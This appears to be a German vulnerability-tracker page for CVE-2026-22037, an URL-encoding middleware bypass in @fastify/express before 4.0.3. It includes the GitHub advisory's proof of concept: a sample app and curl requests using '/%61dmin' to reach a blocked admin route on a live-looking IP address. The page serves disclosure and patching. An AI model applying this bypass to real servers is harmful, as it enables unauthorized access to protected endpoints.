CVE-2026-22037
highPriorität · verfolgen · 0OT-Risiko · erhöhtEPSS 0.003 · 27. PerzentilEUUSEPSS · bewertet 2026-10-23
The @fastify/express plugin adds full Express compatibility to Fastify. A security vulnerability exists in @fastify/express prior to version 4.0.3 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. The vulnerability is caused by how @fastify/express matches requests against registered middleware paths. This vulnerability is similar to, but differs from, CVE-2026-22031 because this is a different npm module with its own code. Version 4.0.3 of @fastify/express contains a patch fort the issue.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (2)
Betroffene Produkte und Versionsbereiche.
Advisories (1)
Hersteller- und Ökosystem-Meldungen dazu.
- GHSA-g6q3-96cp-5r5m@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)2026-01-20ghsa · osvUS
### Summary A security vulnerability exists in `@fastify/express` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. ### Details The vulnerability is caused by how `@fastify/express` matches requests against registered middleware paths. ### PoC **Step 1:** Run the following Fastify application (save as `app.js`): ```javascript const fastify = require('fastify')({ logger: true }); async function start() { // Register fastify-express for Express-style middleware support await fastify.register(require('@fastify/express')); // Middleware to block /admin route fastify.use('/admin', (req, res, next) => { res.statusCode = 403; res.end('Forbidden: Access to /admin is blocked'); }); // Sample routes fastify.get('/', async (request, reply) => { return { message: 'Welcome to the homepage' }; }); fastify.get('/admin', async (request, reply) => { return { message: 'Admin panel' }; }); fastify.get('/admin/dashboard', async (request, reply) => { return { message: 'Admin dashboard' }; }); // Start server try { await fastify.listen({ port: 3000 }); } catch (err) { fastify.log.error(err); process.exit(1); } } start(); ``` **Step 2:** Execute the attack. ``` ➜ ~ curl http://206.189.140.29:3000/%61dmin <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>Cannot GET /%61dmin</pre> </body> </html> (fastify express) ➜ ~ curl http://206.189.140.29:3000/%61dmin {"message":"Admin panel"} ``` It differs from [CVE-2026-22031](https://nvd.nist.gov/vuln/detail/CVE-2026-22031) because this is a different npm module with its own code.
auch bekannt als (3)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (8)
Externe Belege — Patches, Meldungen, Analysen.
- https://access.redhat.com/security/cve/cve-2026-22037cnnvd
- https://github.com/fastify/fastify-express/commit/dc02a3fe1387f945143f22597baa42557d549a40cnnvd
- https://github.com/fastify/fastify-express/releasesPatchcnnvd
- https://github.com/fastify/fastify-express/security/advisories/GHSA-g6q3-96cp-5r5mcnnvd
- https://github.com/fastify/fastify-express/commit/dc02a3fe1387f945143f22597baa42557d549a40enisa_euvd
- https://github.com/fastify/fastify-express/security/advisories/GHSA-g6q3-96cp-5r5menisa_euvd
- https://github.com/fastify/fastify-express/commit/dc02a3fe1387f945143f22597baa42557d549a40nvd
- https://github.com/fastify/fastify-express/security/advisories/GHSA-g6q3-96cp-5r5mnvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan